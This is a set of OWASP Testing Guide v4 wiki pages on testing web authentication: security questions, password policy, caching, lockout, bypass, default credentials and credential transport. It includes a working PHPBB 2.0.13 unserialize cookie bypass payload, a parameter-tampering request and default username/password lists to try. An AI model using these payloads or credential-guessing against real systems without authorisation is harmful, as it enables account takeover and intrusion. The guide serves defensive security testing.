Use the methods described in [[Testing for Weak lock out mechanism (OWASP-AT-004)]] to determine if a number of incorrectly supplied security answers trigger a lockout mechanism.
 
The first thing to take into consideration when trying to exploit security questions is the number of questions that need to be answered. The majority of applications only need the user to answer a single question, whereas some critical applications may require the user to answer two or even more questions.
 
The next step is to assess the strength of the security questions. Could the answers be obtained by a simple Google search or with social engineering attack? As a penetration tester, here is a step-by-step walk-through of exploiting a security question scheme:
 
* Does the application allow the end-user to choose the question that needs to be answered? If so, focus on questions which have:
** A “public” answer; for example, something that could be find with a simple search-engine query
** A factual answer such as a “first school” or other facts which can be looked up
** Few possible answers, such as “what model was your first car”. These questions would present the attacker with a short list of possible answers, and based on statistics the attacker could rank answers from most to least likely.
* Determine how many guesses you have (if possible).
** Does the password reset allow unlimited attempts?
** Is there a lockout period after X incorrect answers? Keep in mind that a lockout system can be a security problem in itself, as it can be exploited by an attacker to launch a Denial of Service against legitimate users.
* Pick the appropriate question based on analysis from the above points, and do research to determine the most likely answers.
 
The key to successfully exploiting and bypassing a weak security question scheme is to find a question or set of questions which give the possibility of easily finding the answers. Always look for questions which can give you the greatest statistical chance of guessing the correct answer, if you are completely unsure of any of the answers. In the end, a security question scheme is only as strong as the weakest question.
 
== References ==
[http://www.schneier.com/essay-081.html The Curse of the Secret Question]

Testing for Weak password policy (OTG-AUTHN-007)

2014-03-22T08:59:42Z

Lvsteche: Minor corrections/rewrites.

{{Template:OWASP Testing Guide v4}}

== Summary ==

The most prevalent and most easily administered authentication mechanism is a static password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: 123456, password and qwerty.

== Test objectives ==

Determine the resistance of the application against brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.

== Black Box testing ==

# What characters are permitted and forbidden for use within a password? Is the user required to use characters from different character sets such as lower- and uppercase letters, digits and special symbols?
# How often can a user change their password? How quickly can a user change his/her password after a previous change? Users may bypass password history requirements by changing their password 5 times in a row so that after the last password change they have configured their initial password again.
# When must a user change their password? After 90 days? After account lockout due to excessive logon attempts?
# How often can a user reuse a password? Does the application maintain a history of the user's previous used 8 passwords?
# How different must the next password be from the last password?
# Is the user prevented from using his username or other account information (such as first or last name) in the password?

== References ==

* [[Brute_force_attack|Brute Force]] Attacks.
* [[Password_length_%26_complexity|Password length & complexity]]

== Remediation ==

To mitigate the risk of easily guessed passwords facilitating unauthorized access there are two solutions: introduce additional authentication controls (i.e. two-factor authentication) or introduce a strong password policy. The simplest and cheapest of these is the introduction of a strong password policy that ensures password length, complexity, reuse and aging.

Testing for Browser cache weakness (OTG-AUTHN-006)

2014-03-22T08:38:27Z

Lvsteche: Minor edits

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
In this phase we check that the application correctly instructs the browser to not remember sensitive data.
 

== Description of the Issue ==
Browsers can store information for purposes of caching and history. Caching is used to improve performance, so that previously displayed information doesn't need to be downloaded again. History mechanisms are used for user convenience, so the user can see exactly what they saw at the time when the resource was retrieved.
If sensitive information is displayed to the user (such as their address, credit card details, Social Security Number, or username), then this information could be stored for purposes of caching or history, and therefore retrievable through examining the browser's cache or by simply pressing the browser's "Back" button.
 

== Black Box testing and example ==
'''Browser History''' 
Technically, the "Back" button is a history, not a cache (see http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13). The cache and the history are two different entities, however, they share the same weakness that we are trying to prevent, that of presenting previously displayed sensitive information.
The first (and simplest) test consists of entering sensitive information into the application, logging out, and then hitting the "Back" button of the browser, to check whether previously displayed sensitive information can be accessed whilst unauthenticated.
If by pressing the "Back" button we can access previous pages but not access new ones, then it is not an authentication issue, but a browser history issue. If these pages contain sensitive data, it means that the application did not forbid the browser to store it.
Authentication does not necessarily need to be involved in the testing. For example, when a user enters their email address in order to sign up to a newsletter, this information could be retrievable if not properly handled.
The "Back" button can be stopped from showing sensitive data. This can be done by:
* Delivering the page over HTTPS.
* Setting Cache-Control: must-revalidate

'''Browser Cache''' 
Here we check that the application does not leak any sensitive data into the browser cache. In order to do that, we can use a proxy (such as WebScarab) and search through the server responses that belong to the session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response headers:
* Cache-Control: no-cache, no-store
* Expires: 0
* Pragma: no-cache
These directives are generally robust, although additional flags may be necessary for the Cache-Control header in order to better prevent persistently linked files on the filesystem. These include:
* Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0

<pre>
HTTP/1.1:
Cache-Control: no-cache
</pre>

<pre>
HTTP/1.0:
Pragma: no-cache
Expires: <past date or illegal value (e.g., 0)>
</pre>

For instance, if we are testing an e-commerce application, we should look for all pages that contain a credit card number or some other financial information, and check that all those pages enforce the no-cache directive.
If we find pages that contain critical information but that fail to instruct the browser not to cache their content, we know that sensitive information will be stored on the disk, and we can double-check this simply by looking for the page in the browser cache. The exact location where that information is stored depends on the client operating system and on the browser that has been used. Here are some examples:

* Mozilla Firefox:
** Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/
** Windows: C:\Documents and Settings\<user_name>\Local Settings\Application Data\Mozilla\Firefox\Profiles\<profile-id>\Cache

* Internet Explorer:
** C:\Documents and Settings\<user_name>\Local Settings\Temporary Internet Files

== Gray Box testing and example ==
The methodology for testing is equivalent to the black box case, as in both scenarios we have full access to the server response headers and to the HTML code. However, with gray box testing, we may have access to account credentials that will allow us to test sensitive pages that are accessible only to authenticated users.
 

== References ==
'''Whitepapers''' 
* [http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html Caching in HTTP]

'''Tools''' 
* [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy]
* Firefox add-on [https://addons.mozilla.org/en-US/firefox/addon/cacheviewer2/?src=api CacheViewer2]

Testing for Vulnerable Remember Password (OTG-AUTHN-005)

2014-03-22T08:22:35Z

Lvsteche: Minor corrections/rewrites.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Browsers will sometimes ask a user if they wish to remember the password that they just entered. The browser will then store the password, and automatically enter it whenever the same authentication form is visited. This is a convenience for the user.
 

== Description of the Issue ==
Having the browser storing passwords is not only a convenience for end-users, but also for an attacker. 
If an attacker can gain access to the victim's browser (e.g. through a Cross Site Scripting attack, or through a shared computer), then they can retrieve the stored passwords. It is not uncommon for browsers to store these passwords in an easily retrievable manner, but even if the browser were to store the passwords encrypted and only retrievable through the use of a master password, an attacker could retrieve the password by visiting the target web application's authentication form, entering the victim's username, and letting the browser to enter the password. 

== Black Box testing and example ==

* Enter a username and password in the target authentication form and determine whether the browser asks the user whether they want the password remembered.
* View the authentication form's HTML source code and look for the autocomplete="off" attribute in the password form field. The code for this may resemble the following:
<pre>
<INPUT TYPE="password" AUTOCOMPLETE="off">
</pre>
* Look for passwords being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in clear text, but are hashed. Examine the hashing mechanism: if it is a common, well-known algorithm, check for its strength; in homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable. Additionally, verify that the credentials are only sent during the login phase, and not sent together with every request to the application.
* Look for other areas where a password may be entered (and hence be remembered by the browser), e.g. a change password form.
* Consider other sensitive form fields (e.g. an answer to a secret question that must be entered in a password recovery or account unlock form).

== Remediation ==

Any fields that contain sensitive information and passwords should be flagged in the HTML source code with AUTOCOMPLETE=”off”. 
Moreover no credentials should to be stored in clear text in cookies.

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2014-03-22T08:11:03Z

Lvsteche: Minor corrections/rewrites.

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

While most applications require authentication for gaining access to private information or to execute tasks, not every authentication method is able to provide adequate security.

Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the login page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition to this, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form or by counterfeiting sessions.

== Description of the Issue ==

Problems related to the authentication schema could be found at different stages of the software development life cycle (SDLC), like design, development, and deployment phase:
* In the design phase errors could include a wrong definition of application sections to be protected, the choice of not applying strong encryption protocols for securing the transmission of credentials, and many more.
* In the development phase errors could include for example the incorrect implementation of input validation functionalities, or not following the security best practices for the specific language.
* In the application deployment phase, there may be issues during the application setup (installation and configuration activities) due to a lack in required technical skills, or due to the lack of good documentation being available.

== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web application:
* Direct page request ([[Forced_browsing|forced browsing]])
* Parameter modification
* Session ID prediction
* SQL injection

 
'''Direct page request'''

If a web application implements access control only on the login page, the authentication schema could be bypassed. For example, if a user directly requests a different page via forced browsing, that page may not check the credentials of the user before granting access. Attempt to directly access a protected page through the address bar in your browser to test using this method.

<center>[[Image:basm-directreq.jpg]]</center>

'''Parameter Modification'''

Another problem related to authentication design is when the application verifies a successful login on the basis of a fixed value parameters. A user could modify these parameters to gain access to the protected areas without providing valid credentials. In the example below, the "authenticated" parameter is changed to a value of "yes", which allows the user to gain access. In this example, the parameter is in the URL, but a proxy could also be used to modify the parameter, especially when the parameters are sent as form elements in a POST request or when the parameters are stored in a cookie.

<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Authenticated</H1>
</BODY></HTML>
</pre>

<center>[[Image:basm-parammod.jpg]]</center>

'''Session ID Prediction'''

Many web applications manage authentication using session identifiers (session IDs). Therefore, if session ID generation is predictable, a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure, values inside cookies increase linearly, so it could be easy for an attacker to guess a valid session ID.

<center>[[Image:basm-sessid.jpg]]</center>

In the following figure, values inside cookies change only partially, so it's possible to restrict a brute force attack to the defined fields shown below.

<center>[[Image:basm-sessid2.jpg]]</center>

'''SQL Injection (HTML Form Authentication)'''

SQL Injection is a widely known attack technique. We are not going to describe this technique in detail in this section; there are several sections in this guide that explain injection techniques beyond the scope of this section.

<center>[[Image:basm-sqlinj.jpg]]</center>

The following figure shows that with a simple SQL injection attack, it is sometimes possible to bypass the authentication form.

<center>[[Image:basm-sqlinj2.gif]]</center>

== Gray Box Testing And Example ==
If an attacker has been able to retrieve the application source code by exploiting a previously discovered vulnerability (e.g., directory traversal), or from a web repository (Open Source Applications), it could be possible to perform refined attacks against the implementation of the authentication process.
In the following example (PHPBB 2.0.13 - Authentication Bypass Vulnerability), at line 5, the unserialize() function parses a user supplied cookie and sets values inside the $row array. At line 10, the user's md5 password hash stored inside the backend database is compared to the one supplied.
<pre>
1. if ( isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) ||
2. {
3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . '_data'] ) ?
4.
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();
6.
7. $sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
10. if( md5($password) == $row['user_password'] && $row['user_active'] )
11.
12. {
13. $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
14. }
</pre>

In PHP, a comparison between a string value and a boolean value (1 - "TRUE") is always "TRUE", so by supplying the following string (the important part is "b:1") to the unserialize() function, it is possible to bypass the authentication control:

a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}

== References ==
'''Whitepapers''' 
* Mark Roxberry: "PHPBB 2.0.13 vulnerability"
* David Endler: "Session ID Brute Force Exploitation and Prediction" - http://www.cgisecurity.com/lib/SessionIDs.pdf

 
'''Tools''' 
* [[OWASP WebScarab Project|WebScarab]]
* [[OWASP WebGoat Project|WebGoat]]

Testing for Weak lock out mechanism (OTG-AUTHN-003)

2014-03-22T07:53:42Z

Lvsteche: Minor corrections/rewrites. Ensured that "lockout" is written in one word.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Account lockout mechanisms are used to mitigate brute force password guessing attacks. Accounts are typically locked after 3 to 5 unsuccessful login attempts and can only be unlocked after a predetermined period of time, via a self-service unlock mechanism, or intervention by an administrator. Account lockout mechanisms require a balance between protecting accounts from unauthorized access and protecting users from being denied authorized access. 
Note that this test should cover all aspects of authentication where lockout mechanisms would be appropriate, e.g. when the user is presented with security questions during forgotten password mechanisms (see [[Testing for Weak security question/answer (OTG-AUTHN-008)]]).

== Description of the Issue ==

Without a strong lockout mechanism, the application may be susceptible to brute force attacks. After a successful brute force attack, a malicious user could have access to:

* Confidential information / data: Private sections of a web application could disclose confidential documents, users' profile data, financial information, bank details, users' relationships, etc.

* Administration panels: These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc.

* Opportunities for further attacks: authenticated sections of a web application could contain vulnerabilities that are not present in the public section of the web application and could contain advanced functionality that is not available to public users.

== Test objectives ==

# Evaluate the account lockout mechanism's ability to mitigate brute force password guessing.
# Evaluate the unlock mechanism's resistance to unauthorized account unlocking.

== Black Box testing and example ==

Typically, to test the strength of lockout mechanisms, you will need access to an account that you are willing or can afford to lock. If you have only one account with which you can logon to the web application, perform this test at the end of you test plan to avoid that you cannot continue your testing due to a locked account. 
 
To evaluate the account lockout mechanism's ability to mitigate brute force password guessing, attempt an invalid login by using the incorrect password a number of times, before using the correct password to verify that the account was locked out. An example test may be as follows:
# Attempt to login with an incorrect password 3 times.
# Successfully login with the correct password, thereby showing that the lockout mechanism doesn't trigger after 3 incorrect authentication attempts.
# Attempt to login with an incorrect password 4 times.
# Successfully login with the correct password, thereby showing that the lockout mechanism doesn't trigger after 4 incorrect authentication attempts.
# Attempt to login with an incorrect password 5 times.
# Attempt to login with the correct password. The application returns "Your account is locked out.", thereby confirming that the account is locked out after 5 incorrect authentication attempts.
# Attempt to login with the correct password 5 minutes later. The application returns "Your account is locked out.", thereby showing that the lockout mechanism does not automatically unlock after 5 minutes.
# Attempt to login with the correct password 10 minutes later. The application returns "Your account is locked out.", thereby showing that the lockout mechanism does not automatically unlock after 10 minutes.
# Successfully login with the correct password 15 minutes later, thereby showing that the lockout mechanism automatically unlocks after a 10 to 15 minute period.
 
A CAPTCHA may hinder brute force attacks, but they can come with their own set of weaknesses (see [[Testing_for_Captcha_(OWASP-AT-012)|Testing for CAPTCHA]]), and should not replace a lockout mechanism.

 
To evaluate the unlock mechanism's resistance to unauthorized account unlocking, initiate the unlock mechanism and look for weaknesses. Typical unlock mechanisms may involve secret questions/answers, or an emailed unlock link. The unlock link should be a unique one-time link, to stop an attacker from guessing or replaying the link and performing brute force attacks in batches. Secret questions and answers should be strong (see [[Testing_for_Weak_security_question/answer_(OTG-AUTHN-008)|Testing for Weak Security Question/Answer]]). 
Note that an unlock mechanism should only be used for unlocking accounts. It is not the same as a password recovery mechanism. 
 
Factors to consider when implementing an account lockout mechanism:

# What is the risk of brute force password guessing against the application?
# Is a CAPTCHA sufficient to mitigate this risk?
# Number of unsuccessful login attempts before lockout. If the lockout threshold is to low then valid users may be locked out too often. If the lockout threshold is to high then the more attempts an attacker can make to brute force the account before it will be locked. Depending on the application's purpose, a range of 5 to 10 unsuccessful attempts is typical lockout threshold.
# How will accounts be unlocked?
## Manually by an administrator: this is the most secure lockout method, but may cause inconvenience to users and take up the administrator's "valuable" time.
### Note that the administrator should also have a recovery method in case his account gets locked.
### This unlock mechanism may lead to a denial-of-service attack if an attacker's goal is to lock the accounts of all users of the web application.
## After a period of time. What is the lockout duration? Is this sufficient for the application being protected? E.g. a 5 to 30 minute lockout duration may be a good compromise between mitigating brute force attacks and inconveniencing valid users.
## Via a self-service mechanism. As stated before, this self-service mechanism must be secure enough to avoid that the attacker can unlock accounts himself.

== References ==

See the OWASP article on [[Brute_force_attack|Brute Force]] Attacks.

== Remediation ==

Apply account unlock mechanisms depending on the risk level. In order from lowest to highest assurance:

# Time-based lockout and unlock.
# Self-service unlock (sends unlock email to registered email address).
# Manual administrator unlock.
# Manual administrator unlock with positive user identification.

Testing for default credentials (OTG-AUTHN-002)

2014-03-21T20:10:59Z

Lvsteche: Review and minor corrections.

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
 
Nowadays web applications often make use of popular open source or commercial software that can be installed on servers with minimal configuration or customization by the server administrator. Moreover, a lot of hardware appliances (i.e. network routers and database servers) offer web-based configuration or administrative interfaces. 
Often these applications, once installed, are not properly configured and the default credentials provided for initial authentication and configuration are never changed. 
These default credentials are well known by penetration testers and, unfortunately, also by malicious attackers, who can use them to gain access to various types of applications. 
Furthermore, in many situations, when a new account is created on an application, a default password (with some standard characteristics) is generated. If this password is predictable and the user does not change it on the first access, this can lead to an attacker gaining unauthorized access to the application.
 
== Description of the Issue ==
 
The root cause of this problem can be identified as:
* Inexperienced IT personnel, who are unaware of the importance of changing default passwords on installed infrastructure components, or leave the password as default for "ease of maintenance".
* Programmers who leave backdoors to easily access and test their application and later forget to remove them.
* Applications with built-in, non-removable default accounts with a pre-set username and password.
* Applications that do not force the user to change the default credentials after the first login operation.

 
== Black Box testing and example ==
 
===Testing for default credentials of common applications===

In Blackbox testing the tester knows nothing about the application and its underlying infrastructure. In reality this is often not true, and some information about the application is known. We suppose that you have identified, through the use of the techniques described in this Testing Guide under the chapter [[Testing Information Gathering|Information Gathering]], at least one or more common applications that may contain accessible administrative interfaces. 
When you have identified an application interface, for example a Cisco router web interface or a Weblogic administrator portal, check that the known usernames and passwords for these devices do not result in successful authentication. To do this you can consult the manufacturer’s documentation or, in a much simpler way, you can found common credentials using a search engine or by using one of the sites or tools listed in the Reference section. 
When facing applications to which we do not have a list of default and common user accounts (for example due to the fact that the application is not widely spread) we can attempt to guess valid default credentials. 
Note that the application being tested may have an account lockout policy enabled, and multiple password guess attempts with a known username may cause the account to be locked. If it is possible to lock the administrator account, it may be troublesome for the system administrator to reset it. 
Many applications have verbose error messages that inform the site users as to the validity of entered usernames. This information will be helpful when testing for default or guessable user accounts. Such functionality can be found, for example, on the login page, password reset and forgotten password page, and sign up page. Once you have found a default username you could also start guessing passwords for this account. 
More information about this procedure can be found in the section [[Testing for User Enumeration and Guessable User Account (OWASP-AT-002)|Testing for User Enumeration and Guessable User Account]] and in the section [[Testing for Weak password policy (OWASP-AT-008)|Testing for Weak password policy]]. 
Since these types of default credentials are often bound to administrative accounts you can proceed in this manner:
* Try the following usernames - "admin", "administrator", "root", "system", "guest", "operator", or "super". These are popular among system administrators and are often used. Additionally you could try "qa", "test", "test1", "testing" and similar names. Attempt any combination of the above in both the username and the password fields. If the application is vulnerable to username enumeration, and you manage to successfully identify any of the above usernames, attempt passwords in a similar manner. In addition try an empty password or one of the following "password", "pass123", "password123", "admin", or "guest" with the above accounts or any other enumerated accounts. Further permutations of the above can also be attempted. If these passwords fail, it may be worth using a common username and password list and attempting multiple requests against the application. This can, of course, be scripted to save time.
* Application administrative users are often named after the application or organization. This means if you are testing an application named "Obscurity", try using obscurity/obscurity or any other similar combination as the username and password.
* When performing a test for a customer, attempt using names of contacts you have received as usernames with any common passwords. Customer email addresses mail reveal the user accounts naming convention: if employee John Doe has the email address jdoe@example.com, you can try to find the names of system administrators on social media and guess their username by applying the same naming convention to their name.
* Attempt using all the above usernames with blank passwords.
* Review the page source and JavaScript either through a proxy or by viewing the source. Look for any references to users and passwords in the source. For example "If username='admin' then starturl=/admin.asp else /index.asp" (for a successful login vs a failed login). Also, if you have a valid account, then login and view every request and response for a valid login vs an invalid login, such as additional hidden parameters, interesting GET request (login=yes), etc.
* Look for account names and passwords written in comments in the source code. Also look in backup directories for source code (or backups of source code) that may contain interesting comments and code.

===Testing for default password of new accounts===

It can also occur that when a new account is created in an application that the account is assigned a default password. This password could have some standard characteristics making it predictable. If the user does not change it on first usage (this often happens if the user is not forced to change it) or if the user has not yet logged on to the application, this can lead an attacker to gain unauthorized access to the application. 
The advice given before about a possible lockout policy and verbose error messages are also applicable here when testing for default passwords. 
The following steps can be applied to test for these types of default credentials:
* Looking at the User Registration page may help to determine the expected format and minimum or maximum length of the application usernames and passwords. If a user registration page does not exist, determine if the organization uses a standard naming convention for user names such as their email address or the name before the "@" in the email.
* Try to extrapolate from the application how usernames are generated. For example, can a user choose his/her own username or does the system generate an account name for the user based on some personal information or by using a predictable sequence? If the application does generate the account names in a predictable sequence, such as user7811, try fuzzing all possible accounts recursively. If you can identify a different response from the application when using a valid username and a wrong password, then you can try a brute force attack on the valid username (or quickly try any of the identified common passwords above or in the reference section).
* Try to determine if the system generated password is predictable. To do this, create many new accounts quickly after one another so that you can compare and determine if the passwords are predictable. If predictable, try to correlate these with the usernames, or any enumerated accounts, and use them as a basis for a brute force attack.
* If you have identified the correct naming convention for the user name, try to “brute force” passwords with some common predictable sequence like for example dates of birth.
* Attempt using all the above usernames with blank passwords or using the username also as password value.

 
== Gray Box testing and example ==
 
The following steps rely on an entirely Gray Box approach. If only some of this information is available to you, refer to black box testing to fill the gaps.
* Talk to the IT personnel to determine which passwords they use for administrative access and how administration of the application is undertaken.
* Ask IT personnel if default passwords are changed and/or if default user accounts are disabled.
* Examine the user database for default credentials as described in the Black Box testing section. Also check for empty password fields.
* Examine the code for hard coded usernames and passwords.
* Check for configuration files that contain usernames and passwords.
* Examine the password policy and, if the application generates its own passwords for new users, check the policy in use for this procedure.
 
== References ==
'''Whitepapers''' 
* CIRT http://www.cirt.net/passwords
* Government Security - Default Logins and Passwords for Networked Devices http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php
* Virus.org http://www.virus.org/default-password/ 

'''Tools''' 
* Burp Intruder: http://portswigger.net/burp/intruder.html
* THC Hydra: http://www.thc.org/thc-hydra/
* Brutus: http://www.hoobie.net/brutus/
* Nikto 2: http://www.cirt.net/nikto2

Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)

2014-03-21T17:04:15Z

Lvsteche: Review with minor changes to the content.

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
Testing for credentials transport means to verify that the user's authentication data are transferred via an encrypted channel to avoid being intercepted by malicious users. The analysis focuses simply on trying to understand if the data travels unencrypted from the web browser to the server, or if the web application takes the appropriate security measures using a protocol like HTTPS. The HTTPS protocol is built on TLS/SSL to encrypt the data that is transmitted and to ensure that user is being sent towards the desired site. Clearly, the fact that traffic is encrypted does not necessarily mean that it's completely safe. The security also depends on the encryption algorithm used and the robustness of the keys that the application is using, but this particular topic will not be addressed in this section. For a more detailed discussion on testing the safety of TLS/SSL channels you can refer to the chapter [[Testing_for_Weak_SSL/TSL_Ciphers,_Insufficient_Transport_Layer_Protection_(OWASP-EN-002)|Testing for Weak SSL/TLS]]. Here, the tester will just try to understand if the data that users put in to web forms, for example, in order to log in to a web site, are transmitted using secure protocols that protect them from an attacker or not. To do this we will consider various examples.
 

== Description of the Issue ==
Nowadays, the most common example of this issue is the login page of a web application. The tester should verify that user's credentials are transmitted via an encrypted channel. In order to log in to a web site, usually, the user has to fill a simple form that transmits the inserted data to the web application with the POST method. What is less obvious is that this data can be passed using the HTTP protocol, which transmits the data in a non-secure, clear text form, or using the HTTPS protocol, which encrypts the data during the transmission. To further complicate things, there is the possibility that the site has the login page accessible via HTTP (making us believe that the transmission is insecure), but then it actually sends data via HTTPS. This test is done to be sure that an attacker cannot retrieve sensitive information by simply sniffing the network with a sniffer tool.
 

== Black Box testing and example ==
In the following examples we will use WebScarab in order to capture packet headers and to inspect them. You can use any web proxy that you prefer.

'''Case study: Sending data with POST method through HTTP''' 

Suppose that the login page presents a form with fields User, Pass, and the Submit button to authenticate and give access to the application. If we look at the headers of our request with WebScarab, we can get something like this: 
<pre>
POST http://www.example.com/AuthenticationServlet HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/index.jsp
Cookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvVCGdyPkmn3S!
Content-Type: application/x-www-form-urlencoded
Content-length: 64

delegated_service=218&User=test&Pass=test&Submit=SUBMIT
</pre>

From this example the tester can understand that the POST request sends the data to the page ''www.example.com/AuthenticationServlet'' using HTTP. So, in this case, the data is transmitted without encryption and a malicious user could intercept the username and password by simply sniffing the network with a tool like Wireshark.

'''Case study: Sending data with POST method through HTTPS'''

Suppose that our web application uses the HTTPS protocol to encrypt the data we are sending (or at least for transmitting sensitive data like credentials). In this case, when logging on to the web application, the header of our POST request would be similar to the following:

<pre>
POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/cgi-bin/login.cgi
Cookie: language=English;
Content-Type: application/x-www-form-urlencoded
Content-length: 50

Command=Login&User=test&Pass=test
</pre>

We can see that the request is addressed to
''www.example.com:443/cgi-bin/login.cgi'' using the HTTPS protocol.
This ensures that our credentials are sent using an encrypted channel and that the credentials are not readable by a malicious user using a sniffer.

'''Case study: sending data with POST method via HTTPS on a page reachable via HTTP'''

Now, imagine having a web page reachable via HTTP and that then only data sent from the authentication form are transmitted via HTTPS. This situation occurs, for example, when we are on a portal of a big company that offers various information and services publicly available, without identification, but which has also a private section accessible from the home page through a login. So when we try to login, the header of our request will look like the following example:

<pre>
POST https://www.example.com:443/login.do HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/homepage.do
Cookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB6pLhjkW6F
Content-Type: application/x-www-form-urlencoded
Content-length: 45

User=test&Pass=test&portal=ExamplePortal
</pre>

We can see that our request is addressed to ''www.example.com:443/login.do'' using HTTPS. But if we have a look at the Referer-header (the page from which we came), it is ''www.example.com/homepage.do'' and is accessible via simple HTTP. Although we are sending data via HTTPS, this deployment can allow [http://www.thoughtcrime.org/software/sslstrip/ SSLStrip] attacks (a type of [http://en.wikipedia.org/wiki/Man-in-the-middle_attack Man-in-the-middle] attack)

'''Case study: Sending data with GET method through HTTPS'''

In this last example, suppose that the application transfers data using the GET method. This method should never be used in a form that transmits sensitive data such as username and password, because the data is displayed in clear text in the URL and this entails a whole set of security issues. For example, the URL that is requested is easily available from the server logs or from your browser history, which makes your sensitive data retrievable for unauthorized persons. So this example is purely demonstrative, but, in reality, it is strongly suggested to use the POST method instead.

<pre>
GET https://www.example.com/success.html?user=test&pass=test HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/form.html
If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT
If-None-Match: "43a01-5b-4868915f"
</pre>

You can see that the data is transferred in clear text in the URL and not in the body of the request as before. But we must consider that SSL/TLS is a level 5 protocol, a lower level than HTTP, so the whole HTTP packet is still encrypted making the URL unreadable to a malicious user using a sniffer. Nevertheless as stated before, it is not a good practice to use the GET method to send sensitive data to a web application, because the information contained in the URL can be stored in many locations such as proxy and web server logs.

== Gray Box testing and example ==
Talk with the developers of the web application and try to understand if they are aware of the differences between HTTP and HTTPS protocols and why they should use HTTPS for transmitting sensitive information. 
Then, check with them if HTTPS is used in every sensitive request, like those in login pages, to prevent unauthorized users to intercept the data.

== References ==
'''Whitepapers''' 
* HTTP/1.1: Security Considerations - http://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html
* [http://www.troyhunt.com/2011/01/ssl-is-not-about-encryption.html SSL is not about encryption] 
'''Tools''' 
* [[OWASP WebScarab Project|WebScarab]]

User:Lvsteche

2009-02-10T12:49:28Z

Lvsteche: New page: [http://www.vanstechelman.eu My website]

[http://www.vanstechelman.eu My website]